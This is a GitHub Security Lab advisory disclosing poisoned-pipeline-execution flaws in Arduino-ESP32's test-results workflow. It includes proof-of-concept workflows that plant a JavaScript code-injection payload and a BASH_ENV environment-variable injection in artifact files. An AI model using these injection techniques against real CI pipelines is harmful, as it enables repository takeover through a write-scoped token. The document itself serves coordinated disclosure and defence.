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GHSL-2024-169: Poisoned Pipeline Execution (PPE) leads to potential repository takeover in Arduino-ESP32 - CVE-2024-45798 | GitHub Security Lab

skip to content Resources Open Source Community Enterprise / Security Lab Research Advisories CodeQL Wall of Fame Resources Open Source Community Enterprise Events Get Involved Coordinated Disclosure Timeline 2024-07-22: Reported through GitHub’s Private Vulnerability Reporting (PVR). 2024-07-22: Issue is acknowledged. 2024-09-17: Advisory published Summary Arduino-esp32 is vulnerable to Poisoned Pipeline Execution (PPE) allowing malicious actors to take over the repository.

Project Arduino-ESP32 Tested Version Latest commit at the time of reporting Details Code injection in tests_results.yml workflow ( GHSL-2024-169 ) The tests_results workflow is triggered when the Wokwi tests workflows completes: on : workflow_run : workflows : [ " Wokwi tests" ] types : - completed It then downloads an artifact uploaded by the triggering workflow into the artifacts/ directory: - name : Download and Extract Artifacts uses : dawidd6/action-download-artifact@v6 with : run_id : ${{ github.event.workflow_run.id }} path : ./artifacts And read the contents of the artifacts into different Environment Variables: ```yaml - name: Get original info run: | original_event=$(cat ./artifacts/parent-artifacts/event.txt) original_action=$(cat ./artifacts/parent-artifacts/action.txt) original_sha=$(cat ./artifacts/parent-artifacts/sha.txt) original_ref=$(cat ./artifacts/parent-artifacts/ref.txt) original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt) echo "original_event=$original_event" >> $GITHUB_ENV echo "original_action=$original_action" >> $GITHUB_ENV echo "original_sha=$original_sha" >> $GITHUB_ENV echo "original_ref=$original_ref" >> $GITHUB_ENV echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV Some of the attacker-controlled variables (such as the original_ref variable) are later interpolated into a JavaScript script, enabling an attacker to alter the code of the script and execute arbitrary code in the context of a high-privileged workflow : - name : Clean up caches if : always() uses : actions/github-script@v7 with : script : | const ref = '${{ env.original_ref }}'; ...

PoC Clone the repository Edit the tests_wokwi.yml workflow. name : Wokwi tests on : pull_request : jobs : trigger : name : Upload artifact runs-on : ubuntu-latest steps : - run : | mkdir -p artifacts/parent-artifacts/ printf "${{ github.sha }}" > artifacts/parent-artifacts/sha.txt printf "pull_request" > artifacts/parent-artifacts/event.txt printf "success" > artifacts/parent-artifacts/conclusion.txt printf "" > artifacts/parent-artifacts/action.txt # PAYLOAD printf "foo'; console.log('CODE INJECTION'); //" > artifacts/parent-artifacts/ref.txt Create a Pull Request with this change.

Since the modified workflow is triggered on pull_request , the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results workflow which will read the malicious artifact and use its contents to modify the JS script. Impact This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions: Actions: write Checks: write Contents: write Metadata: read PullRequests: write Statuses: write Environment Variable injection ( GHSL-2024-170 ) In the same workflow/step, the untrusted data from an artifact is redirected to GITHUB_ENV to create a new Environment Variable: - name : Get original info run : | original_event=$(cat ./artifacts/parent-artifacts/event.txt) original_action=$(cat ./artifacts/parent-artifacts/action.txt) original_sha=$(cat ./artifacts/parent-artifacts/sha.txt) original_ref=$(cat ./artifacts/parent-artifacts/ref.txt) original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt) echo "original_event=$original_event" >> $GITHUB_ENV echo "original_action=$original_action" >> $GITHUB_ENV echo "original_sha=$original_sha" >> $GITHUB_ENV echo "original_ref=$original_ref" >> $GITHUB_ENV echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV The $GITHUB_ENV pointed file is just a regular file where every KEY=VALUE will be used to define a new Environment Variable.

An attacker can send a malicious event.txt file (or any of the other artifacts), with the following content: pull_request BASH_ENV=$(echo "ENV-VAR INJECTION") Which will result in two Environment Variables being defined: original_event=pull_request BASH_ENV=$(echo “ENV-VAR INJECTION”) The BASH_ENV will pollute the bash environment so that next Run step will execute the code in the variable. PoC Clone the repository Edit the `` workflow. name : Wokwi tests on : pull_request : jobs : trigger : name : Upload artifact runs-on : ubuntu-latest steps : - run : | printf "${{ github.sha }}" > artifacts/parent-artifacts/sha.txt printf "pull_request" > artifacts/parent-artifacts/event.txt printf "success" > artifacts/parent-artifacts/conclusion.txt printf "" > artifacts/parent-artifacts/action.txt # PAYLOAD printf "pull_request\nBASH_ENV=$(echo 'ENV-VAR INJECTION')" > artifacts/parent-artifacts/ref.txt Create a Pull Request with this change.

Since the modified workflow is triggered on pull_request , the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results workflow which will read the malicious artifact and use its contents to modify the JS script. Impact This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions: Actions: write Checks: write Contents: write Metadata: read PullRequests: write Statuses: write Resources CodeQL for JavaScript - Expression injection in Actions Keeping your GitHub Actions and workflows secure Part 2: Untrusted input Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests Credit This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz) .

Contact You can contact the GHSL team at securitylab@github.com , please include a reference to GHSL-2024-169 and GHSL-2024-170 in any communication regarding this issue. CVE CVE-2024-45798